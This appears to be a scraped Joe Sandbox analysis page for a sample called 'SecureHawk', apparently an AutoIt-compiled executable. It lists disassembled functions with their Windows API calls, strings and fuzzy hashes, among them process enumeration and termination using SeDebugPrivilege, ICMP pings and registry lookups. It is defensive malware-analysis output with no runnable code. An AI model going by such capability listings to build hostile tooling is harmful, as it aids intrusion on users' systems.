Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID: pr;
API String ID: 2819905725-129123090
Opcode ID: f88ca08e9ff69d48b6c32171e1047bcc9683a00109b92640d759d2780f49d6f9
Instruction ID: afe71c790fc6af81c87dc153349d5e9b995d3739d6673e95028e7414fc5b1b87
Opcode Fuzzy Hash: f88ca08e9ff69d48b6c32171e1047bcc9683a00109b92640d759d2780f49d6f9
Instruction Fuzzy Hash: 2DA299706183458FD726DF14C480B2AF7E1BF88344F14896DEA9A8B361D7B1ED95CB82

Function 003547B7 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0033FC06), ref: 003547C7
FindFirstFileW.KERNEL32(?,?), ref: 003547D8
FindClose.KERNEL32(00000000), ref: 003547E8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 290a13020caee81a4a3640572a06001b70b34c3d09c41a918cf90b4c091b6f06
Instruction ID: f17da1ff9c1e7313d54bf2ffc49ca9172119836a130e05e8a44d21de1143b3a3
Opcode Fuzzy Hash: 290a13020caee81a4a3640572a06001b70b34c3d09c41a918cf90b4c091b6f06
Instruction Fuzzy Hash: 41E0DF35810711AB821A6738EC4DCEA375C9E0A33AF100B95F931C21E0EBB09D888796

Function 002F94E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0452118cfa7267504289f05df73e3e94dab5a96ba01969d0297ff4b965615bc5
Instruction ID: ab9fdf1a282e85485c8b3f1baa9a7ea6c7cdc0bb41b6313a37b066bc8b3601c2
Opcode Fuzzy Hash: 0452118cfa7267504289f05df73e3e94dab5a96ba01969d0297ff4b965615bc5
Instruction Fuzzy Hash: 55229B7092020A8FDB29DF54C481BBAF7B0FF49380F148179EA56AB351D3B1A9D5CB91

Function 00310D68 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00310E05
CreateToolhelp32Snapshot.KERNEL32 ref: 00310E17

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CloseCreateHandleSnapshotToolhelp32
String ID:
API String ID: 3280610774-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 8d115e10f9ac35980fbc37cb3639bd6ee6759ed67daf5b9d63f05bd5b1554c61
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 82311374A00109DBCB1EDF59D4809A9FBA6FF89300B6586A5E40ACB651DBB0EDC1CBD0

Function 002FBC70 Relevance: 57.4, APIs: 22, Strings: 10, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 002FBF57

Part of subcall function 002F52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002F52E6

Sleep.KERNEL32(0000000A,?,?), ref: 003335E5

Strings

@GUI_CTRLHANDLE, xrefs: 00333746
@COM_EVENTOBJ, xrefs: 00333C5E
pr;, xrefs: 00333765
CALL, xrefs: 002FC277
@GUI_CTRLID, xrefs: 0033369C
@GUI_WINHANDLE, xrefs: 003336F1
pr;, xrefs: 00333F22
pr;, xrefs: 003336BB
@TRAY_ID, xrefs: 00333EFD
pr;, xrefs: 00333710

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL$pr;$pr;$pr;$pr;
API String ID: 1792118007-2584490237
Opcode ID: 70ff84bf9a3963bbecac3069d1e8a1e72bb2b9b0a0bf970d2289afdd9001bc34
Instruction ID: 9793c7c0bec29e77131b8e473fc9cc759c3849cd5de2b75c723374436ba45035
Opcode Fuzzy Hash: 70ff84bf9a3963bbecac3069d1e8a1e72bb2b9b0a0bf970d2289afdd9001bc34
Instruction Fuzzy Hash: C7C2AE70608345DFD72ADF24C895BAAF7E4BF84344F14892DF58A8B2A1CB71E954CB42

Function 002F33E5 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 75
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 002F3444
RegisterClassExW.USER32(00000030), ref: 002F346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002F347F
InitCommonControlsEx.COMCTL32(?), ref: 002F349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002F34AC
LoadIconW.USER32(000000A9), ref: 002F34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002F34D1

Strings

+, xrefs: 002F342D
TaskbarCreated, xrefs: 002F3474
0, xrefs: 002F3426
AutoIt v3 GUI, xrefs: 002F3460

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: ee8ad1252548a02cdc76edb6921b067ee0f24d213d4568a2990c449443a98440
Instruction ID: 3688999fbd17a1dd47be1d79d56020e95346fb030bf43f292401615d8bc7169d
Opcode Fuzzy Hash: ee8ad1252548a02cdc76edb6921b067ee0f24d213d4568a2990c449443a98440
Instruction Fuzzy Hash: 08315EB1840349EFEB829FA4D885BD9BFF8FF09314F10469AE690E62A1D3B90545CF50

Function 002F3411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 002F3444
RegisterClassExW.USER32(00000030), ref: 002F346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002F347F
InitCommonControlsEx.COMCTL32(?), ref: 002F349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002F34AC
LoadIconW.USER32(000000A9), ref: 002F34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002F34D1

Strings

+, xrefs: 002F342D
TaskbarCreated, xrefs: 002F3474
0, xrefs: 002F3426
AutoIt v3 GUI, xrefs: 002F3460

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: f11b2f96e609c34365b1710cfea4a3adcc35058be25062e163ca0b8c83726634
Instruction ID: 532ca9f9fa26dd19de058066257311655577dae21651c1624432331f90a3fd29
Opcode Fuzzy Hash: f11b2f96e609c34365b1710cfea4a3adcc35058be25062e163ca0b8c83726634
Instruction Fuzzy Hash: 2F21E5B1900308AFEB429FA4EC89B9DBBF8FB08704F10425AF611E62A0D7B515488F91

Function 00302FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0030FFFA: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00303094), ref: 00310018

Part of subcall function 003107EC: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,0030309F), ref: 0031080E

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 003030E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0034013A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0034017B
RegCloseKey.ADVAPI32(?), ref: 003401B9
_wcscat.LIBCMT ref: 00340212

Strings

\, xrefs: 00340235
\Include\, xrefs: 0030309F
Include, xrefs: 00340131, 00340172
Software\AutoIt v3\AutoIt, xrefs: 003030D8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 6c10589dd3bcd1a8583f19da3503809f0fe95176c3d474b40b56527e68dbd5d4
Instruction ID: b2314a2f19a073450971ece471fdcacf30097af9c1644838cabdac7a093cba31
Opcode Fuzzy Hash: 6c10589dd3bcd1a8583f19da3503809f0fe95176c3d474b40b56527e68dbd5d4
Instruction Fuzzy Hash: C171A1715093059EC31BEF25EC9199BB7ECFF98304F400A2EF6459B2A1EB709948CB51

Function 0030514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00305156
LoadCursorW.USER32(00000000,00007F00), ref: 00305165
LoadIconW.USER32(00000063), ref: 0030517C
LoadIconW.USER32(000000A4), ref: 0030518E
LoadIconW.USER32(000000A2), ref: 003051A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 003051C6
RegisterClassExW.USER32(?), ref: 0030521C

Part of subcall function 002F3411: GetSysColorBrush.USER32(0000000F), ref: 002F3444
Part of subcall function 002F3411: RegisterClassExW.USER32(00000030), ref: 002F346E
Part of subcall function 002F3411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 002F347F
Part of subcall function 002F3411: InitCommonControlsEx.COMCTL32(?), ref: 002F349C
Part of subcall function 002F3411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 002F34AC
Part of subcall function 002F3411: LoadIconW.USER32(000000A9), ref: 002F34C2
Part of subcall function 002F3411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 002F34D1

Strings

0, xrefs: 003051FA
AutoIt v3, xrefs: 0030520B
#, xrefs: 00305201

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: d45060a9df5ea3597db672ba26d817b1f8c24afc3f621001299a6c46dea6610a
Instruction ID: 672e859cbe595d60b6fbc7016c863799e11ff69fcd3f1e3e8c0f4c778e07b232
Opcode Fuzzy Hash: d45060a9df5ea3597db672ba26d817b1f8c24afc3f621001299a6c46dea6610a
Instruction Fuzzy Hash: 9D215171D01304AFEB17DFA4EC06B9D7BB8FB08714F000659F604AA2A1D3BA5954CF84

Function 00365BE2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00365C43
inet_addr.WSOCK32(?,?,?), ref: 00365C88
gethostbyname.WS2_32(?), ref: 00365C94
IcmpCreateFile.IPHLPAPI ref: 00365CA2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00365D12
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00365D28
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00365D9D
WSACleanup.WSOCK32 ref: 00365DA3

Strings

Ping, xrefs: 00365CC6

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 336f96f01c0dfe8b39d8eee976579cde7db0d8dfdf40a9de69d3a52594d49745
Instruction ID: 186dbf035701b3424addd935131c654a90c26e525e04183e0b1d1c22000abd48
Opcode Fuzzy Hash: 336f96f01c0dfe8b39d8eee976579cde7db0d8dfdf40a9de69d3a52594d49745
Instruction Fuzzy Hash: 97518F71604700AFD722EF24DC89B2AB7E4EF48720F048969F655DB2E1DB70ED458B41

Function 00304D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00304E22
KillTimer.USER32(?,00000001), ref: 00304E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00304E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00304E7A
CreatePopupMenu.USER32 ref: 00304E8E
PostQuitMessage.USER32(00000000), ref: 00304EAF

Strings

TaskbarCreated, xrefs: 00304E75

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: a149afc513e77438cd6d55cd69c558541e53f86934735debeb6e988cc1a44886
Instruction ID: ec6ed00fae4fb1815dcbb2d6df16d7d390bb228a3059637b0d537b8bee50d0b8
Opcode Fuzzy Hash: a149afc513e77438cd6d55cd69c558541e53f86934735debeb6e988cc1a44886
Instruction Fuzzy Hash: 52411CB1206209ABEB1B5F28DC2AB7E769DF740344F040629F701D95E2DB74AD50DB61

Function 003056F8 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00340BDB

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

_memset.LIBCMT ref: 00305787
_wcscpy.LIBCMT ref: 003057DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 003057EB
__swprintf.LIBCMT ref: 00340C51

Strings

AutoIt - , xrefs: 00305760
E&E&, xrefs: 00340C15, 00340C1E, 00340C29, 00340C37, 00340C22, 00340C2D
Line %d: , xrefs: 00340C4B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt - $E&E&
API String ID: 230667853-941963392
Opcode ID: a1c253cfda6294810957ac138021fd368ee54f180dd29a4d89e8332f8077186d
Instruction ID: 102150ec1d39b8d198adc93b6774d26ca1c354684e4125f239ec77bd198cfcc0
Opcode Fuzzy Hash: a1c253cfda6294810957ac138021fd368ee54f180dd29a4d89e8332f8077186d
Instruction Fuzzy Hash: 5F41B271509304AAD327EB60DC96FDF77ECAF44354F000A1EF5859A0E2EB74A648CB96

Function 0036EDE4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00353FB5: CreateToolhelp32Snapshot.KERNEL32 ref: 00353FDA
Part of subcall function 00353FB5: Process32FirstW.KERNEL32(00000000,?), ref: 00353FE8
Part of subcall function 00353FB5: CloseHandle.KERNEL32(00000000), ref: 003540B2

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0036EE55
GetLastError.KERNEL32 ref: 0036EE68
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0036EE97
TerminateProcess.KERNEL32(00000000,00000000), ref: 0036EF14
GetLastError.KERNEL32(00000000), ref: 0036EF1F
CloseHandle.KERNEL32(00000000), ref: 0036EF54

Strings

SeDebugPrivilege, xrefs: 0036EE73

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 984a05097bb75d168802417d062e0d3daecbd51e431551f7571bd196d4d301aa
Instruction ID: 45c1aa3649de69af67cc98f225ea2659a8176df3890e0d2874c09512329127e1
Opcode Fuzzy Hash: 984a05097bb75d168802417d062e0d3daecbd51e431551f7571bd196d4d301aa
Instruction Fuzzy Hash: 0441DA352002009FDB16EF24DCA6F6EB7A5AF40310F098059FA425F2D2CBB1AD18CF92

Function 003574EE Relevance: 12.1, APIs: 8, Instructions: 101
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00357505

Part of subcall function 00310F16: std::exception::exception.LIBCMT ref: 00310F4C
Part of subcall function 00310F16: __CxxThrowException@8.LIBCMT ref: 00310F61

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 0035753C
EnterCriticalSection.KERNEL32(?), ref: 00357558
_memmove.LIBCMT ref: 003575A6
_memmove.LIBCMT ref: 003575C3
LeaveCriticalSection.KERNEL32(?), ref: 003575D2
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 003575E7
InterlockedExchange.KERNEL32(?,000001F6), ref: 00357606

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: df0c3a1cea1b7a1e4d1115b7165c7ca03d7345ae021bc57662c9893457554204
Instruction ID: cb891919a3c2c7ffb98560011e779a1b47945a3a8fd05044e0f8e3948678a6e1
Opcode Fuzzy Hash: df0c3a1cea1b7a1e4d1115b7165c7ca03d7345ae021bc57662c9893457554204
Instruction Fuzzy Hash: 1131D231900204EBCB16DF54DC86EAEB778EF49710F1440A5FC04AF256D770DA55CBA0

Function 002FAAAA Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003106E6: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00310717
Part of subcall function 003106E6: MapVirtualKeyW.USER32(00000010,00000000), ref: 0031071F
Part of subcall function 003106E6: MapVirtualKeyW.USER32(000000A0,00000000), ref: 0031072A
Part of subcall function 003106E6: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00310735
Part of subcall function 003106E6: MapVirtualKeyW.USER32(00000011,00000000), ref: 0031073D
Part of subcall function 003106E6: MapVirtualKeyW.USER32(00000012,00000000), ref: 00310745

Part of subcall function 0030FE77: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,002FAC6B), ref: 0030FED2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 002FAD08
OleInitialize.OLE32(00000000), ref: 002FAD85
CloseHandle.KERNEL32(00000000), ref: 00332E86

Strings

<g;, xrefs: 002FAC6B
\d;, xrefs: 002FAB32
c;, xrefs: 002FAB26

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <g;$\d;$c;
API String ID: 1986988660-2832654409
Opcode ID: 47f9aa39291ba103932d611efef90b4761f787f37fb0390743df6f5132721380
Instruction ID: 738672d4a7335cdd307628b44fb191a9748fde480dd01c300a80052298d8b3b0
Opcode Fuzzy Hash: 47f9aa39291ba103932d611efef90b4761f787f37fb0390743df6f5132721380
Instruction Fuzzy Hash: E2819FB5901B408EC397DF2AE9576667BECEB8930CB10876AD219C72B3EB7954048F11

Function 003050DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00305109
